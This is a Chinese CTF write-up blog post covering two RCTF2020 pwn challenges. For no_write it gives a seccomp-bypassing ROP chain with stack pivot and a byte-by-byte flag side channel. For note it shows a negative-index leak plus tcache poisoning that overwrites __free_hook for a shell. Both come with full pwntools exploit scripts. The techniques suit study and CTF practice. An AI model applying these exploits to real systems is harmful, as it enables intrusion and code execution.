目錄
  1. 1. 前言
  2. 2. no_write
    1. 2.1. 程序分析
    2. 2.2. 总结
  3. 3. note
    1. 3.1. 程序分析
    2. 3.2. 其他方法
RCTF2020 部分pwn

前言

比赛没时间打,赛后复现几道题目玩玩。

no_write

这道题禁用了write,需要用到栈迁移配合__libc_start_mian来获取syscall以及gadget的多次利用

程序分析

checksec,No PIE、No canary

1
2
3
4
5
6
[*] '/mnt/hgfs/shared/RCTF/pwn/no_write_attachment/no_write'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

查看程序

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-10h]

init(*(_QWORD *)&argc, argv, envp);
read_n(&v4, 256);
return 0;
}

经典的栈溢出,但是根据题目似乎是禁用了一些函数

seccomp查看沙箱机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  no_write_attachment seccomp-tools dump ./no_write
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
0004: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0009
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0009
0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

发现只能使用open、read、exit

此时可以想到,将flag读到bss段上,然后逐个字节爆破。那么问题来了,程序中只有read函数,没有open函数。因此可以进行系统调用,但是程序中不存在syscall,这是就需要得到syscall的地址。

我们发现在调用__libc_start_main时会在栈上留下syscall附近的地址,因此首先可以通过栈迁移将栈迁移到已知地址,例如bss段。这里可以利用pop rbp;leave ret进行栈迁移

1
2
3
4
5
6
7
read_got = elf.got['read']
bss = 0x601078
leave_ret = 0x40070b
pop_rbp = 0x400588
##stack pivot to bss
pay = 'a'*0x18 + csu(read_got,0,bss,0x580)
pay += p64(pop_rbp) + p64(bss+0x4f8) + p64(leave_ret)

结果如下:

接下需要调用__libc_start_main函数,需要说明的是:

此时__libc_start_main函数的返回值为第一个参数

1
2
3
4
5
6
7
8
##__libc_start_main
pop_rdi = 0x400773
pop_rsp = 0x40076d
syscall = 0x6014d8
pay = 'flag'
pay += '\x00'*(0x500-len(pay))
pay += csu(elf.got['__libc_start_main'],pop_rdi,0,bss+0x20)#p64(0x400544)
pay += '\x00'*(0x580-len(pay))

结果如下:

接下来的思路如下:

  1. 将0x6014d8的最低字节改为’\x7f’,使之成为syscall地址
  2. 利用read的返回值改写rax的值为2,即open函数的系统调用号
  3. 将flag写入bss

然后是爆破flag,可以利用__libc_csu_init中的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000400750 loc_400750:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400750 mov rdx, r15
.text:0000000000400753 mov rsi, r14
.text:0000000000400756 mov edi, r13d
.text:0000000000400759 call qword ptr [r12+rbx*8]
.text:000000000040075D add rbx, 1
.text:0000000000400761 cmp rbp, rbx
.text:0000000000400764 jnz short loc_400750
.text:0000000000400766
.text:0000000000400766 loc_400766: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400766 add rsp, 8
.text:000000000040076A pop rbx
.text:000000000040076B pop rbp
.text:000000000040076C pop r12
.text:000000000040076E pop r13
.text:0000000000400770 pop r14
.text:0000000000400772 pop r15
.text:0000000000400774 retn

具体思路如下:

  1. 使rbp得值为flag单字节
  2. 使rbx为猜测值进行爆破
  3. 利用0x40075d处gadget进行比较

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

context.terminal = ['tmux','split','-h']

def csu(r12,r13,r14,r15):
pay = p64(0x40076a)
pay += p64(0) #rbx
pay += p64(1) #rbp
pay += p64(r12) #call_func
pay += p64(r13) #edi
pay += p64(r14) #rsi
pay += p64(r15) #rdx
pay += p64(0x400750)
pay += '\x00'*0x38
return pay
flag = ''
for j in range(6):
i = 47
while(1):
p = process("./no_write")
elf = ELF("./no_write")
read_got = elf.got['read']
bss = 0x601078
leave_ret = 0x40070b
pop_rbp = 0x400588
##stack pivot to bss
pay = 'a'*0x18 + csu(read_got,0,bss,0x580)
pay += p64(pop_rbp) + p64(bss+0x4f8) + p64(leave_ret)
p.send(pay)
##__libc_start_main
pop_rdi = 0x400773
pop_rsp = 0x40076d
syscall = 0x6014d8
pay = 'flag'
pay += '\x00'*(0x38-len(pay))
pay += csu(read_got,0,syscall,0x1)
pay += csu(read_got,0,bss+0x580,0x2)
pay += csu(syscall,bss,0,0)
flag_addr = 0x601318
pay += csu(read_got,3,bss+0x580,j)
pay += csu(read_got,3,flag_addr,0x1)
pay += p64(0x40076a) + p64(i) + p64(0)*5
pay += p64(0x40075d) + p64(0)*7
pay += csu(read_got,0,bss+0x580,0x10)*2
pay += '\x00'*(0x480-len(pay))
pay += p64(pop_rsp)+p64(0)*0xf + csu(elf.got['__libc_start_main'],pop_rdi,0,bss+0x20)
pay += '\x00'*(0x580-len(pay))
# gdb.attach(p)
p.send(pay)
sleep(0.5)
p.send('\x7f')
sleep(0.5)
p.send('az')
try:
sleep(0.5)
p.send('a'*0x10)
p.recv(1,timeout=0.5)
flag += chr(i+1)
p.close()
break
except:
i += 1
try:
p.close()
except:
pass
print(i)
print(flag)
if i == 53:
break

总结

这道题得难点在于栈帧的控制,需要不断地调试。

note

这道题存在多处漏洞,负数索引、乘法溢出、堆溢出、off by null。这里利用较为简单的负数索引以及乘法溢出来get shell

程序分析

64位程序,保护全开。

1
2
3
4
5
6
7
.data:0000000000004008 off_4008        dq offset off_4008      ; DATA XREF: sub_1260+1B↑r
.data:0000000000004008 ; .data:off_4008↓o
.data:0000000000004010 qword_4010 dq 996h ; DATA XREF: add+C↑r
.data:0000000000004010 ; add+AC↑r ...
.data:0000000000004018 dword_4018 dd 1 ; DATA XREF: sub_18D1+18↑r
.data:0000000000004018 ; sub_18D1+27↑r ...
.data:0000000000004018 _data ends

程序的所有索引都没有检查负数边界,因此可以直接溢出到0x4008处,索引为-5

隐藏功能6会调用malloc,且大小为0x50,add函数则使用calloc

隐藏功能7有32字节溢出

具体思路如下:

  1. show(-5)泄露libc地址,计算出__free_hook和one_gadget
  2. 利用隐藏功能7修改tcache
  3. 利用隐藏功能6将__free_hook改为one_gadget

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux','split','-h']

p = process("./note")
elf = ELF("./note")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.30.so")
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)

def add(idx,size):
sl("Choice:","1")
sl("Index:",str(idx))
sl("Size:",str(size))

def delete(idx):
sl("Choice","2")
sl("Index:",str(idx))

def show(idx):
sl("Choice:","3")
sl("Index:",str(idx))

def edit(idx,msg):
sl("Choice:","4")
sl("Index:",str(idx))
sl("Message:",msg)

def super_buy(name):
sl("Choice:","6")
sl("name:",name)

def edit_more(idx,msg):
sl("Choice:","7")
sl("Index:",str(idx))
s("Message:",msg)

def gd():
gdb.attach(p)

#leak libc
show(-5)
p.recv(8)
data_addr = u64(p.recv(8))
p.recv(16)
libc_base = u64(p.recv(8)) - 0x1eb6a0
log.success("data_addr:"+hex(data_addr))
log.success("libc_base:"+hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x10afa9
log.success("free_hook:"+hex(free_hook))
log.success("one_gadget:"+hex(one_gadget))

#set onegadget in __free_hook
edit(-5,p64(data_addr)+p64(0x1000000))
add(0,0x50)
edit(-5,p64(data_addr)+p64(0x1000000)+'\x01')
add(1,0x50)
add(2,0x50)
delete(2)
delete(1)
edit_more(0,'\x00'*0x58+p64(0x61)+p64(free_hook))
super_buy("kangel")
pay = p64(data_addr) + p64(0x1000000)
pay += p64(0) + p64(libc_base+0x1eb6a0)
pay += p64(0) + p64(libc_base+0x1ea980)
pay += p64(0) + p64(libc_base+0x1eb5c0)
pay += p64(0)*4
edit(-5,pay)
super_buy(p64(one_gadget))

#get shell
delete(1)
p.interactive()

其他方法

可以利用乘法溢出修改money

使用mmap进行calloc时,不会进行memset,因此可以泄露libc

文章作者: kangel
文章鏈接: https://j-kangel.github.io/2020/06/06/RCTF2020-pwn/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL